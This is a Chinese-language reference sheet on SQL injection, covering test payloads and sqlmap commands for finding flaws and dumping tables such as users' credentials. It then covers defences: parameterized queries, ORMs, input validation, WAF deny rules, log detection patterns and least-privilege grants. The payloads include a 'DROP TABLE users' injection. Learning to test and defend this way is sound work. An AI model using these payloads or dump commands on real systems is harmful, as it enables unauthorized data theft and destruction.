前置知识: 网络安全

SQL 注入检测与防御

2 min入门

SQL 注入检测与防御命令:注入类型与探测手法、sqlmap 自动化测试、参数化查询与数据库最小权限加固

SQL 注入识别

基本写法:经典注入测试载荷

`' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
admin' --
admin'#
' OR 1=1 --`
# 经典 SQL 注入测试载荷
' OR '1'='1' --

基本写法:数字型注入测试

`1 OR 1=1
1; DROP TABLE users--
1 UNION SELECT NULL--
1 UNION SELECT username, password FROM users--`
# 数字型 SQL 注入测试
1 OR 1=1
1 UNION SELECT username, password FROM users--

基本写法:UNION 注入

`' UNION SELECT NULL--
' UNION SELECT username, password FROM users--
' UNION SELECT table_name FROM information_schema.tables--`
# UNION 注入获取数据
' UNION SELECT username, password FROM users--

sqlmap 自动化检测

基本写法:检测 URL 是否存在注入 sqlmap -u "<URL>"

# 检测目标 URL 是否存在 SQL 注入
sqlmap -u "http://example.com/page?id=1"

基本写法:指定注入参数 sqlmap -u "<URL>" -p <参数>

# 指定检测 id 参数
sqlmap -u "http://example.com/page?id=1" -p id

基本写法:POST 请求检测 sqlmap -u "<URL>" --data "<数据>"

# 检测 POST 请求的注入
sqlmap -u "http://example.com/login" --data "username=admin&password=123"

基本写法:使用 Cookie sqlmap -u "<URL>" --cookie="<Cookie>"

# 带认证 Cookie 检测
sqlmap -u "http://example.com/page?id=1" --cookie="session=abc123"

基本写法:指定数据库类型 sqlmap -u "<URL>" --dbms=<数据库>

# 指定数据库类型为 MySQL
sqlmap -u "http://example.com/page?id=1" --dbms=mysql

sqlmap 数据提取

基本写法:枚举数据库 sqlmap -u "<URL>" --dbs

# 列出所有数据库
sqlmap -u "http://example.com/page?id=1" --dbs

基本写法:枚举表 sqlmap -u "<URL>" -D <数据库> --tables

# 列出指定数据库的表
sqlmap -u "http://example.com/page?id=1" -D mydb --tables

基本写法:枚举列 sqlmap -u "<URL>" -D <数据库> -T <表> --columns

# 列出表的列
sqlmap -u "http://example.com/page?id=1" -D mydb -T users --columns

基本写法:导出数据 sqlmap -u "<URL>" -D <数据库> -T <表> --dump

# 导出表中的所有数据
sqlmap -u "http://example.com/page?id=1" -D mydb -T users --dump

基本写法:导出指定列 sqlmap -u "<URL>" -D <数据库> -T <表> -C <列1>,<列2> --dump

# 导出指定列的数据
sqlmap -u "http://example.com/page?id=1" -D mydb -T users -C username,password --dump

参数化查询防御

基本写法:Java 参数化查询

`String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setInt(1, userId);
ResultSet rs = stmt.executeQuery();`
// Java 使用 PreparedStatement 防止 SQL 注入
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setInt(1, userId);
ResultSet rs = stmt.executeQuery();

基本写法:Python 参数化查询

`cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))`
# Python 使用参数化查询
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

基本写法:Node.js 参数化查询

`db.query('SELECT * FROM users WHERE id = ?', [userId], callback)`
// Node.js 使用参数化查询
db.query('SELECT * FROM users WHERE id = ?', [userId], (err, results) => {
  // 处理结果
});

基本写法:PHP PDO 参数化

`$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $userId]);`
// PHP PDO 参数化查询
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $userId]);

ORM 防御

基本写法:Hibernate HQL

`String hql = "FROM User WHERE id = :id";
Query query = session.createQuery(hql);
query.setParameter("id", userId);`
// Hibernate 使用命名参数
String hql = "FROM User WHERE id = :id";
Query query = session.createQuery(hql);
query.setParameter("id", userId);

基本写法:Django ORM

`User.objects.filter(id=user_id)`
# Django ORM 自动参数化
User.objects.filter(id=user_id)

基本写法:SQLAlchemy

`session.query(User).filter(User.id == user_id)`
# SQLAlchemy ORM 自动参数化
session.query(User).filter(User.id == user_id)

输入验证

基本写法:白名单验证

`import re
if re.match(r'^[0-9]+$', user_id):
    # 安全处理`
# 只允许数字的输入验证
import re
if re.match(r'^[0-9]+$', user_id):
    safe_id = int(user_id)

基本写法:类型转换

`user_id = int(user_id)`
# 强制类型转换防止注入
user_id = int(request.args.get('id'))

基本写法:长度限制

`if len(username) <= 50:
    # 处理输入`
# 限制输入长度
username = request.form.get('username', '')[:50]

WAF 规则防御

基本写法:ModSecurity 规则

`SecRule ARGS "(?i)(union|select|insert|update|delete|drop)" "id:1001,phase:2,deny,status:403"`
# ModSecurity 防止 SQL 注入
SecRule ARGS "(?i)(union|select|insert|update|delete|drop)" "id:1001,phase:2,deny,status:403"

基本写法:Nginx 防注入规则

`if ($args ~* "union.*select") {
    return 403;
}`
# Nginx 简单防 SQL 注入
if ($args ~* "union.*select.*from") {
    return 403;
}

日志监控

基本写法:检测 SQL 注入尝试

`grep -iE "union.*select|'--|' or '1'='1" /var/log/nginx/access.log`
# 在日志中检测 SQL 注入特征
grep -iE "union.*select|'--|' or '1'='1|;.*drop" /var/log/nginx/access.log

基本写法:统计可疑 IP

`grep -iE "union.*select" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn`
# 统计 SQL 注入尝试的 IP
grep -iE "union.*select|' or '1'='1" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn

基本写法:实时监控注入尝试

`tail -f /var/log/nginx/access.log | grep --line-buffered -iE "union.*select|'--"`
# 实时监控 SQL 注入尝试
tail -f /var/log/nginx/access.log | grep --line-buffered -iE "union.*select|'--|' or '1'='1"

数据库最小权限

基本写法:创建只读用户 GRANT SELECT ON <数据库>.<表> TO '<用户>'@'<主机>' IDENTIFIED BY '<密码>';

# 创建只读数据库用户
CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'strongpassword';
GRANT SELECT ON mydb.* TO 'webuser'@'localhost';
FLUSH PRIVILEGES;

基本写法:限制 DROP 权限 GRANT SELECT, INSERT, UPDATE ON <数据库>.* TO '<用户>'@'<主机>';

# 只授予必要权限不含 DROP
GRANT SELECT, INSERT, UPDATE ON mydb.* TO 'webuser'@'localhost';
FLUSH PRIVILEGES;

基本写法:撤销危险权限 REVOKE DROP, ALTER ON <数据库>.* FROM '<用户>'@'<主机>';

# 撤销 DROP 和 ALTER 权限
REVOKE DROP, ALTER ON mydb.* FROM 'webuser'@'localhost';
FLUSH PRIVILEGES;

错误信息处理

基本写法:关闭数据库错误显示

`error_reporting(0);
ini_set('display_errors', 0);`
// PHP 关闭错误显示防止信息泄露
error_reporting(0);
ini_set('display_errors', 0);

基本写法:自定义错误页面

`try:
    cursor.execute(sql)
except Exception as e:
    log_error(e)
    return "服务器错误", 500`
# Python 捕获异常返回通用错误
try:
    cursor.execute(sql)
except Exception as e:
    log_error(e)
    return "服务器内部错误", 500

基本写法:Django 隐藏调试信息

`DEBUG = False
ALLOWED_HOSTS = ['example.com']`
# Django 生产环境配置
DEBUG = False
ALLOWED_HOSTS = ['example.com']